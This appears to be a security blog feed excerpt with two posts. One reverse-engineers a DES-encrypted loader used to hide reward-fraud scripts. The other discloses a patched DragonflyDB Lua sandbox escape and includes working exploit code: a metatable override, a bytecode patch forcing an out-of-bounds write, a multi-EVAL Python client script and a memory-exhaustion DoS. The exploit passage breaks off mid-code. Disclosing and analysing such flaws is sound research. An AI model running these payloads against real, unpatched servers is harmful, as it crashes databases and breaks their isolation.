<p>Before any of the reverse engineering, it is worth settling what the lock is
even for. A wool script automates a checkin, a lottery draw, a daily reading
task. It is not state secrets. So who is it hiding from, and why would anyone
pay to keep it sealed?</p>

<p>Because in this scene the script is the product. These things get sold and
rented. There are panels that meter access, license keys (卡密) that gate a
single run, resellers who never wrote a line of the code they sell or rent. The
moment the source is readable, a buyer copies it once and stops paying, or
undercuts the author by selling it on himself. Confidentiality is the whole
business model.</p>

<p>The checkin loop was never the part worth protecting. Anyone can write one. The
value is in the bypass underneath: the <code class="language-plaintext highlighter-rouge">h5st</code> signature JD’s app demands, the
risk tokens, the shared pool of device IDs, the CAPTCHA solver, the Ruishu
fingerprint defeat. That is months of work against a target that keeps moving,
and it is exactly what a rival in the same scene wants to lift. Lock the file
and the exploit stays yours.</p>

<p>A loader that fetches its key from a server buys one more thing: an off switch.
Stop handing out the key, or flip a flag in a config, and every copy already
deployed goes dark at once. The author keeps a hand on a product he has already
sold.</p>

<p>There is a defensive (for the fraudsters) bonus too. An encrypted payload
sitting on GitHub is just a bunch of bits. JD cannot read it to build a
detection, a researcher cannot skim it for indicators, and there is nothing
legible to file a takedown against. The fraud code hides in plain sight, on a
CDN that will never take it down, since it doesnt even know its a fraud script.</p>

<p>And the whole scene runs on no trust. The operators do not even trust the
customers they sell to, and I guess they shouldn’t. A later post is about one
author who quietly routes his buyers’ harvested passwords back to his own
server. DRM is that same instinct pointed at the paying customer: hand them the
capability, never the code.</p>

<p>So that is the motive. The rest of this post is how well they actually pulled
it off, starting with the version that got it wrong.</p>

<hr />

<h2 id="wool-repo-overview">Wool repo overview</h2>

<p>Now this wool repo is hella interesting, it’s the basis of a bunch of different
script DRM techniques.</p>

<p>The repo has two branches, master and compatible, the latter untouched for
three years. Everything interesting is on master.</p>

<p>The first two things that stood out to me. First, a folder called
<code class="language-plaintext highlighter-rouge">encrypted_files_v2</code>, updated three weeks ago, full of .txt files that all open
with the same 12-character magic (<code class="language-plaintext highlighter-rouge">|(LTm_R7mUd@</code>) and then gibberish. Second, a
script/ directory containing common.py. A loader that subscribers actually run.
That file is readable, and it tells you the shape of the whole system: you hand
it a script name, it then figures out your Python version and arch, fetches the
right .so binary from the repo’s others/ directory, loads it as a Python
extension module, and calls main(). From that point common.py is out of the
picture. Whatever happens next happens inside the binary.</p>

<p>I expected one loader. There are four of them in others/ and they don’t all
work the same way: <code class="language-plaintext highlighter-rouge">loader</code> is an old Cython module, and <code class="language-plaintext highlighter-rouge">loader_v2</code>, <code class="language-plaintext highlighter-rouge">common</code>,
and <code class="language-plaintext highlighter-rouge">component</code> are Rust. The one <code class="language-plaintext highlighter-rouge">common.py</code> pulls by default is <code class="language-plaintext highlighter-rouge">common</code>.
It’s all one product, carried from Python into Rust and grown since, which is
the tell that this system has a history.</p>

<p>This post is about the old one, the Cython loader, because it is the one that
opens up and tells me all its secrets. The other three are written in Rust, and
they are a harder story that gets its own post.</p>

<hr />

<h2 id="track-a-cython-des-loader">Track A: Cython DES loader</h2>

<p>The oldest loader, <code class="language-plaintext highlighter-rouge">loader_39_x86_64.so</code>, is a Cython compiled Python module,
so there’s no source to read. You get a 369 KB shared object that exports
exactly one symbol, <code class="language-plaintext highlighter-rouge">PyInit_loader</code>, and keeps everything else to itself.
Import it, hand it an encrypted string, and it hands you back live code. That’s
the entire product: the scripts ship as gibberish, the loader turns gibberish
into behaviour, and the step in between is the thing you’re paying not to have
to trust.</p>

<p>So I would naturally start reaching for Ghidra, or radare2 here (or binary
ninja if I had more $$), but for this I didnt need to! Using <code class="language-plaintext highlighter-rouge">file</code> it
confirmed that it was an ELF 64-bit shared object (the exported <code class="language-plaintext highlighter-rouge">PyInit_loader</code>
symbol is what actually marks it a CPython extension module), I also used
<code class="language-plaintext highlighter-rouge">strings</code> to get out all the printable strings, and used <code class="language-plaintext highlighter-rouge">readelf</code> to give a
way the sections.</p>

<p>What gave it away was the DES. Not that it uses DES, plenty of things still do,
but that it isn’t a crypto library’s DES. It’s someone’s JavaScript DES,
hand-carried into Python. The fingerprints are everywhere: helper functions
named <code class="language-plaintext highlighter-rouge">to_signed32</code> and <code class="language-plaintext highlighter-rouge">unsigned_right_shift</code>, which only need to exist
because JavaScript’s <code class="language-plaintext highlighter-rouge">&gt;&gt;&gt;</code> behaves differently from Python’s. And the key
schedule routine’s docstring is written in Chinese but leaves the words
<code class="language-plaintext highlighter-rouge">JavaScript</code> and <code class="language-plaintext highlighter-rouge">key schedule</code> sitting right there in English; translated, it
says the schedule was restored from the JavaScript version. You don’t write a
DES engine in Python for fun. You port one you found.</p>

<p>With the algorithm identified, the rest of the pipeline falls out of the
strings and the exports. The loader carries its own scrambled Base64 alphabet,
the standard one shuffled just enough that an off-the-shelf decoder gives you
garbage:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>abcdefghijklmnoqprstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ0123456789~/
</code></pre></div></div>

<p>It’s ordinary Base64 with the case blocks flipped so lowercase comes first, <code class="language-plaintext highlighter-rouge">p</code>
and <code class="language-plaintext highlighter-rouge">q</code> swapped, <code class="language-plaintext highlighter-rouge">I</code> and <code class="language-plaintext highlighter-rouge">J</code> swapped, and <code class="language-plaintext highlighter-rouge">~</code> standing in for <code class="language-plaintext highlighter-rouge">+</code>. Small
changes, enough to break a lazy decode. From there the chain is mechanical, and
every stage is one of the module’s exported names:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CustomBase64.decode → split_data (peel IV) → DES-CBC → strip PKCS7
  → gzip decompress → marshal.loads → PyEval_EvalCode
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">split_data</code> lifts the IV off the front, <code class="language-plaintext highlighter-rouge">des_crypt</code> runs the DES-CBC with that
JavaScript-ported schedule, the result un-gzips into marshalled bytecode, and
<code class="language-plaintext highlighter-rouge">PyEval_EvalCode</code> runs it in memory. The whole thing is right there. The only
piece the pipeline is missing is the key.</p>

<h3 id="the-md5-red-herring">The MD5 red herring</h3>

<p>The strings get you this far, and then they set a trap, or I just made my own
trap.</p>

<p>Pull the symbols and <code class="language-plaintext highlighter-rouge">get_key()</code> is openly calling
<code class="language-plaintext highlighter-rouge">hashlib.md5(...).hexdigest()</code>. A few bytes away in the read only (RO section)
data sit two eight-character strings, <code class="language-plaintext highlighter-rouge">12345678</code> and <code class="language-plaintext highlighter-rouge">12345673</code>, and eight
characters is exactly the length of a single DES key. This is too good to be
true, and this follows the idea that the creator is just doing their best. The
story writes itself the key is <code class="language-plaintext highlighter-rouge">MD5("12345678")</code>, probably sliced to size. It’s
a clean, satisfying answer, I believed this, and thought “Ah silly wool creator
you have left the key right here.”</p>

<p>I was wrong. <code class="language-plaintext highlighter-rouge">MD5("12345678")</code> is <code class="language-plaintext highlighter-rouge">25d55ad283aa400af464c76d713c07ad</code>, which is
not the key.</p>

<p>The only way to figure this out was to stop reading and start running, testing
my own notes, and theories. The part the static tools can’t do for you, and the
part a Cython .so makes trivial. It’s a Python module, so I gave it a Python
interpreter: a matching CPython (3.9, the version it was built against), the
loader dropped beside it, imported. Then I just asked.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">loader</span>
  <span class="o">&gt;&gt;&gt;</span> <span class="n">loader</span><span class="p">.</span><span class="n">get_key</span><span class="p">()</span>
  <span class="s">'f30db728b353376862dcddc6c618a12b'</span>
</code></pre></div></div>

<p>There’s the real DES key, truncated to its first eight bytes (<code class="language-plaintext highlighter-rouge">f30db728</code>) for
the single DES schedule. How <code class="language-plaintext highlighter-rouge">get_key()</code> actually arrives at it I have no idea.
But that’s the entire point: I never needed to know. The loader runs the algo
itself on every call and hands back the answer, and because the whole point of
this loader is to get that key, I just needed to run it!</p>

<p>And the key is hardcoded. The same eight bytes in every build, not created per
user, not fetched from a server, just a constant the loader reads out of
itself.</p>

<h3 id="the-embedded-self-test">The embedded self-test</h3>

<p>There is one more thing baked into the loader: a 536-character blob of that
same scrambled Base64, sitting in the read-only data at offset <code class="language-plaintext highlighter-rouge">0x4a4c0</code>. Run
it back through the pipeline above and it decrypts cleanly into a real code
object. It’s a self-test, a sample the loader can unpack against itself to
prove the machinery still works, and it tells me something too. The decrypt
touched no network. For this tier the loader is the whole story: key,
algorithm, and a sample to run them on, all sealed in one file. Track B is
where the operator decides that was the mistake.</p>

<hr />

<h2 id="decryption">Decryption</h2>

<p>A note on what I am and am not publishing, because it matters here. The Track A
recipe is complete: the key is hardcoded, it’s the same eight bytes for every
xxwppp payload (a sister cluster of repos on the same loader), and the
pipeline is seven well-known steps. Anyone who read this post could rebuild a
script that decrypts every one of those fraud payloads. That is the whole
problem with a hardcoded key. It buys no confidentiality at all, not against me
and not against the next person.</p>

<p>So I’m publishing the method and the lesson, not the loaded gun. You’ve seen
the algorithm, the alphabet, the pipeline, and the fact that the key is
<code class="language-plaintext highlighter-rouge">f30db728...</code>. What I’m holding back is the copy-paste, turn-key script that
takes a repo file in and prints runnable fraud code out. The method is the
interesting part and the part defenders need; the turn-key tool only helps the
next operator. Track B needs no such restraint, there’s nothing to hold back,
because without the C2 key there is nothing to decrypt.</p>

<p>That tier is <a href="/security/2026/06/23/the-great-rust-wall/">the next post</a>,
the one where the operator finally put the key somewhere I couldn’t reach
(like a high shelf).</p>

<hr />

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://cython.org/">Cython</a>, for how a compiled <code class="language-plaintext highlighter-rouge">.so</code> can still be a Python
module you import and call, as long as you match the interpreter version.</li>
  <li><a href="https://en.wikipedia.org/wiki/Data_Encryption_Standard">DES</a>, the cipher the
loader runs, hand-ported out of a JavaScript implementation rather than taken
from a crypto library.</li>
  <li><a href="https://docs.python.org/3/library/marshal.html">Python’s <code class="language-plaintext highlighter-rouge">marshal</code></a> and
<a href="https://docs.python.org/3/c-api/veryhigh.html#c.PyEval_EvalCode"><code class="language-plaintext highlighter-rouge">PyEval_EvalCode</code></a>,
the last two steps of the Track A pipeline.</li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[How a Chinese reward-farming scene seals its fraud scripts, and the old Cython DES loader I reversed end to end. The key was baked into the binary, so it protected nothing.]]></summary></entry><entry><title type="html">DragonflyDB Lua sandbox escape via getmetatable(_G) metatable override</title><link href="https://neurowinter.com/security/2026/06/10/DragonflyDB-Lua-sandbox-escape-via-getmetatable(_G)-metatable-override/" rel="alternate" type="text/html" title="DragonflyDB Lua sandbox escape via getmetatable(_G) metatable override" /><published>2026-06-10T00:00:00+12:00</published><updated>2026-06-10T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/10/DragonflyDB-Lua-sandbox-escape-via-getmetatable(_G)-metatable-override</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/10/DragonflyDB-Lua-sandbox-escape-via-getmetatable(_G)-metatable-override/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>A full Lua sandbox escape in DragonflyDB, a protection-mechanism failure (CWE-693). Three lines overwrite the <code class="language-plaintext highlighter-rouge">_G</code> metatable and hand back <code class="language-plaintext highlighter-rouge">rawset</code>, <code class="language-plaintext highlighter-rouge">rawget</code>, <code class="language-plaintext highlighter-rouge">string.dump</code>, <code class="language-plaintext highlighter-rouge">load</code>, and the rest of what the sandbox tries to hide.</li>
  <li>The only thing you need is the ability to run <code class="language-plaintext highlighter-rouge">EVAL</code>.</li>
  <li>From there it chains: call registered C functions with controlled args, leak pointers via <code class="language-plaintext highlighter-rouge">tostring</code>, and force an out-of-bounds write (CWE-787), a reliable SIGSEGV, through a crafted-bytecode <code class="language-plaintext highlighter-rouge">SETUPVAL</code> index.</li>
  <li>Separate bug, same file: <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code> has no size check (CWE-789). <code class="language-plaintext highlighter-rouge">return dragonfly.randstr(1000000000)</code> allocates gigabytes and drops the instance.</li>
  <li>Where it stops: no OS-level RCE. <code class="language-plaintext highlighter-rouge">io</code> and <code class="language-plaintext highlighter-rouge">os</code> aren’t loaded and nothing dangerous is registered to Lua, a deliberate call by the team, and the only reason this isn’t worse.</li>
  <li><strong>Affected:</strong> everything before v1.39.0 (verified v1.34.2–v1.38.1 + main).</li>
  <li><strong>Patched:</strong> v1.39.0, 9 June 2026.</li>
  <li><strong>Running <code class="language-plaintext highlighter-rouge">EVAL</code> anywhere untrusted? Upgrade to v1.39.0, or gate <code class="language-plaintext highlighter-rouge">EVAL</code>/<code class="language-plaintext highlighter-rouge">EVALSHA</code> behind ACLs until you can.</strong></li>
</ul>

<hr />

<h2 id="background">Background</h2>

<p>I’d been reading Dragonfly’s source on a weekend, mostly because I wanted to
see how a from scratch Redis compatible server handles scripting and how I
could abuse it. Redis style <code class="language-plaintext highlighter-rouge">EVAL</code> is one of those features that looks small
from the outside and is a whole lot more intersting when you look at it more:
you’re handing an attacker a real programming language and then trying to fence
off the dangerous parts of it after the fact. This sort of thing is done a lot
with vendored versions of databases. They often have fun things inside that can
be dangerous to the owner of the server if they let a user play too much, think
Postgres’s <code class="language-plaintext highlighter-rouge">lo_import</code>.</p>

<p>Dragonfly fences it with a metatable. When the interpreter spins up, <code class="language-plaintext highlighter-rouge">InitLua</code>
loads a handful of libraries (base, table, string, math, debug, plus
cjson/struct/cmsgpack/bit), and then runs a small Lua chunk it calls
<code class="language-plaintext highlighter-rouge">@enable_strict_lua</code> to lock the global table down. That chunk is the whole
sandbox for global access, and it lives in <code class="language-plaintext highlighter-rouge">src/core/interpreter.cc</code> around
lines 386–407:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="n">dbg</span><span class="o">=</span><span class="n">debug</span>
<span class="kd">local</span> <span class="n">mt</span> <span class="o">=</span> <span class="p">{}</span>

<span class="nb">setmetatable</span><span class="p">(</span><span class="n">_G</span><span class="p">,</span> <span class="n">mt</span><span class="p">)</span>
<span class="n">mt</span><span class="p">.</span><span class="n">__newindex</span> <span class="o">=</span> <span class="k">function</span> <span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="k">then</span>
    <span class="kd">local</span> <span class="n">w</span> <span class="o">=</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">"S"</span><span class="p">).</span><span class="n">what</span>
    <span class="k">if</span> <span class="n">w</span> <span class="o">~=</span> <span class="s2">"main"</span> <span class="ow">and</span> <span class="n">w</span> <span class="o">~=</span> <span class="s2">"C"</span> <span class="k">then</span>
      <span class="nb">error</span><span class="p">(</span><span class="s2">"Script attempted to create global variable '"</span><span class="o">..</span><span class="nb">tostring</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">..</span><span class="s2">"'"</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
    <span class="k">end</span>
  <span class="k">end</span>
  <span class="nb">rawset</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">mt</span><span class="p">.</span><span class="n">__index</span> <span class="o">=</span> <span class="k">function</span> <span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="ow">and</span> <span class="n">dbg</span><span class="p">.</span><span class="n">getinfo</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">"S"</span><span class="p">).</span><span class="n">what</span> <span class="o">~=</span> <span class="s2">"C"</span> <span class="k">then</span>
    <span class="nb">error</span><span class="p">(</span><span class="s2">"Script attempted to access nonexistent global variable '"</span><span class="o">..</span><span class="nb">tostring</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">..</span><span class="s2">"'"</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
  <span class="k">end</span>
  <span class="k">return</span> <span class="nb">rawget</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">debug</span> <span class="o">=</span> <span class="kc">nil</span>
</code></pre></div></div>

<p>Take a second look at that code block… The protection is two closures on the
<code class="language-plaintext highlighter-rouge">_G</code> metatable. <code class="language-plaintext highlighter-rouge">__newindex</code> stops you creating globals, <code class="language-plaintext highlighter-rouge">__index</code> stops you
reading globals that don’t exist. After it’s set up, <code class="language-plaintext highlighter-rouge">debug</code> is nil’d, and
elsewhere <code class="language-plaintext highlighter-rouge">loadfile</code> and <code class="language-plaintext highlighter-rouge">dofile</code> get nil’d too.</p>

<p>Two things never get taken away: <code class="language-plaintext highlighter-rouge">rawset</code> and <code class="language-plaintext highlighter-rouge">getmetatable</code>. And the metatable
<code class="language-plaintext highlighter-rouge">mt</code> is a plain table sitting one <code class="language-plaintext highlighter-rouge">getmetatable</code> call away.</p>

<p>That’s the bug. The lock and the key are in the same drawer!!</p>

<hr />

<h2 id="the-escape">The escape</h2>

<p><code class="language-plaintext highlighter-rouge">getmetatable(_G)</code> returns <code class="language-plaintext highlighter-rouge">mt</code>. <code class="language-plaintext highlighter-rouge">rawset</code> is still global. So you write
straight over the two guard closures with permissive ones and because
<code class="language-plaintext highlighter-rouge">rawset</code> bypasses metatables, the existing <code class="language-plaintext highlighter-rouge">__newindex</code> guard can’t even fire
to stop you:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="n">mt</span> <span class="o">=</span> <span class="nb">getmetatable</span><span class="p">(</span><span class="n">_G</span><span class="p">)</span>
<span class="nb">rawset</span><span class="p">(</span><span class="n">mt</span><span class="p">,</span> <span class="s2">"__newindex"</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="nb">rawset</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="k">end</span><span class="p">)</span>
<span class="nb">rawset</span><span class="p">(</span><span class="n">mt</span><span class="p">,</span> <span class="s2">"__index"</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">)</span> <span class="k">return</span> <span class="nb">rawget</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">n</span><span class="p">)</span> <span class="k">end</span><span class="p">)</span>
</code></pre></div></div>

<p>Three lines and after that the global creation and global reads are wide open,
and the functions the sandbox was relying on staying hidden are all reachable.</p>

<p>Here is a quick check that I ran to test it:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rawset</span><span class="p">(</span><span class="n">_G</span><span class="p">,</span> <span class="s2">"TEST"</span><span class="p">,</span> <span class="mi">123</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">bc</span> <span class="o">=</span> <span class="nb">string.dump</span><span class="p">(</span><span class="k">function</span><span class="p">()</span> <span class="k">return</span> <span class="mi">1</span> <span class="k">end</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">load</span><span class="p">(</span><span class="n">bc</span><span class="p">,</span> <span class="s2">"test"</span><span class="p">,</span> <span class="s2">"b"</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">string.dump</code> gives you compiled bytecode. <code class="language-plaintext highlighter-rouge">load(..., "b")</code> reads compiled
bytecode back. Both are right there once the guards are gone. This is the core
issue (a protection mechanism failure, CWE-693) and everything below relies on
this.</p>

<p>None of this is new code, either. That metatable approach has been Dragonfly’s
Lua sandbox since the earliest public builds, and <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code> has been
around since roughly v1.15.0. So “affected” is basically every release before
v1.39.0. I verified it from v1.34.2 through v1.38.1 (the latest tagged release
at report time) and main, and v1.38.1 still ships the unpatched version.</p>

<hr />

<h2 id="what-the-bypass-opens-up">What the bypass opens up</h2>

<p>Once you’re out, a few different things open up to you. None of them is the
headline (the headline is that you’re out at all), but they’re worth walking
through because they’re the next reach and they map onto what got patched.</p>

<p><strong>C function injection / type confusion.</strong> Functions are first class in Lua,
and after the escape you have references to the registered C functions. You can
park them in table slots and call them with whatever arguments you like:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">T</span> <span class="o">=</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">}</span>
<span class="n">T</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="nb">type</span>             <span class="c1">-- a C function, now living in a table slot</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">T</span><span class="p">[</span><span class="mi">2</span><span class="p">](</span><span class="s2">"hello"</span><span class="p">)</span>  <span class="c1">-- "string"</span>
<span class="c1">-- same trick works with tostring, rawget, select, and other friends</span>
</code></pre></div></div>

<p>On its own that’s just calling builtins. The part that matters for anyone
trying to go further: <code class="language-plaintext highlighter-rouge">tostring</code> on a function hands back the pointer as text,
so this is also a memory address leak past ASLR. Hold that thought for the
Where it stops section.</p>

<p><strong>Bytecode manipulation and an out of bounds write (CWE-787).</strong> With
<code class="language-plaintext highlighter-rouge">string.dump</code> and <code class="language-plaintext highlighter-rouge">load</code> both reachable you can round trip bytecode through
your own patcher. The Lua VM doesn’t validate the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> index coming out
of loaded bytecode, so a negative index is an out of bounds write. Easiest way
to see it is to dump a closure, find the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> instruction, and rewrite
its index:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="k">function</span> <span class="nf">template</span><span class="p">()</span>
  <span class="kd">local</span> <span class="n">x</span> <span class="o">=</span> <span class="mh">0xDEAD</span>
  <span class="k">return</span> <span class="k">function</span><span class="p">()</span>
    <span class="n">x</span> <span class="o">=</span> <span class="mh">0x16</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="n">bc</span> <span class="o">=</span> <span class="nb">string.dump</span><span class="p">(</span><span class="n">template</span><span class="p">)</span>

<span class="c1">-- Patch the SETUPVAL instruction to use a negative index (OOB write)</span>
<span class="k">for</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">40</span><span class="p">,</span> <span class="o">#</span><span class="n">bc</span> <span class="o">-</span> <span class="mi">4</span> <span class="k">do</span>
  <span class="kd">local</span> <span class="n">inst</span> <span class="o">=</span> <span class="nb">string.unpack</span><span class="p">(</span><span class="s2">"&lt;I4"</span><span class="p">,</span> <span class="n">bc</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">inst</span> <span class="err">&amp;</span> <span class="mh">0x7F</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x18</span> <span class="k">then</span>
    <span class="n">inst</span> <span class="o">=</span> <span class="p">(</span><span class="n">inst</span> <span class="err">&amp;</span> <span class="mh">0x7FFF</span><span class="p">)</span> <span class="err">|</span> <span class="p">(</span><span class="mh">0xFF</span> <span class="o">&lt;&lt;</span> <span class="mi">15</span><span class="p">)</span>
    <span class="n">bc</span> <span class="o">=</span> <span class="n">bc</span><span class="p">:</span><span class="n">sub</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">..</span> <span class="nb">string.pack</span><span class="p">(</span><span class="s2">"&lt;I4"</span><span class="p">,</span> <span class="n">inst</span><span class="p">)</span> <span class="o">..</span> <span class="n">bc</span><span class="p">:</span><span class="n">sub</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span>
    <span class="k">break</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="kd">local</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">load</span><span class="p">(</span><span class="n">bc</span><span class="p">,</span> <span class="s2">"oob"</span><span class="p">,</span> <span class="s2">"b"</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">inner</span> <span class="o">=</span> <span class="n">f</span><span class="p">()</span>
<span class="n">inner</span><span class="p">()</span>  <span class="c1">-- writes 0x16 to memory at the upvalue[-1] location</span>
</code></pre></div></div>

<p>That’s a write where it shouldn’t be, and it’ll take the process down with a
SIGSEGV. It is a crash/OOB write primitive, not a controlled write to anything
primitive. More on why in a moment.</p>

<p><strong>Multi EVAL state persistence.</strong> Globals survive across <code class="language-plaintext highlighter-rouge">EVAL</code> commands on the
same connection. So you don’t have to cram the whole thing into one script; you
can set up the escape in one call and use it in the next:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">redis</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">redis</span><span class="p">.</span><span class="n">Redis</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'target'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">6379</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'xxx'</span><span class="p">)</span>

<span class="c1"># EVAL 1: escape the sandbox &amp; leave a global behind
</span><span class="n">r</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="s">'''
local mt = getmetatable(_G)
rawset(mt, "__newindex", function(t,n,v) rawset(t,n,v) end)
rawset(mt, "__index", function(t,n) return rawget(t,n) end)
EXPLOIT_STATE = {step = 1}
'''</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

<span class="c1"># EVAL 2: the global is still there
</span><span class="n">result</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="s">'return EXPLOIT_STATE.step'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>  <span class="c1"># 1
</span></code></pre></div></div>

<p>That’s a delivery convenience more than a bug of its own, but it changes what
an attacker has to fit in a single payload, so I flagged it. Though it does not
achive much at all.</p>

<hr />

<h2 id="where-it-stops">Where it stops</h2>

<p>This is the part I want to be straight up about, because it’s most of the work
and none of the win.</p>

<p>I tried real hard to take the OOB write and the C function reach somewhere real
something like a rce or anything more than what it is right now. I threw more
than 4.2 billion fuzzing attempts at the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> OOB alone over multiple
nights, looking for a path from “negative index write” to controlled execution.
I got crashes. Left right an centre, just crashes. I got pointer leaks out of
<code class="language-plaintext highlighter-rouge">tostring</code>. I did not get OS level RCE, and I’m fairly confident it isn’t there
from this surface.</p>

<p>The reason is boring and it’s the right kind of boring: <code class="language-plaintext highlighter-rouge">io</code> and <code class="language-plaintext highlighter-rouge">os</code> are never
loaded into the Lua state, and nothing like <code class="language-plaintext highlighter-rouge">popen</code> is registered. So the
type confusion / C function call trick has nothing dangerous to reach. You can
call <code class="language-plaintext highlighter-rouge">type</code> and <code class="language-plaintext highlighter-rouge">tostring</code> all day yay… There just is no <code class="language-plaintext highlighter-rouge">os.execute</code> sitting
in the registry to find. The dangerous primitives that would normally turn a
Lua sandbox escape into a shell just aren’t present.</p>

<p>So: full sandbox escape, a memory corruption crash, an address leak, and a
bloody brick wall past that, put there on purpose. Credit where it’s due. That
defense in depth call is the difference between this and a much worse report.</p>

<hr />

<h2 id="the-dos">The DoS</h2>

<p>Different bug, same file, no escape required. <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code>
(<code class="language-plaintext highlighter-rouge">src/core/interpreter.cc</code>, around 467–506) reads its size argument and
allocates straight away with no upper bound:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">DragonflyRandstrCommand</span><span class="p">(</span><span class="n">lua_State</span><span class="o">*</span> <span class="n">state</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">argc</span> <span class="o">=</span> <span class="n">lua_gettop</span><span class="p">(</span><span class="n">state</span><span class="p">);</span>
  <span class="n">lua_Integer</span> <span class="n">dsize</span> <span class="o">=</span> <span class="n">lua_tonumber</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
  <span class="n">lua_remove</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

  <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">buf</span><span class="p">(</span><span class="n">dsize</span><span class="p">,</span> <span class="sc">' '</span><span class="p">);</span>
  <span class="p">...</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dsize</code> comes from the script, <code class="language-plaintext highlighter-rouge">std::string buf(dsize, ' ')</code> tries to allocate
that many bytes. One command, gigabytes requested, instance gone:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">redis</span>
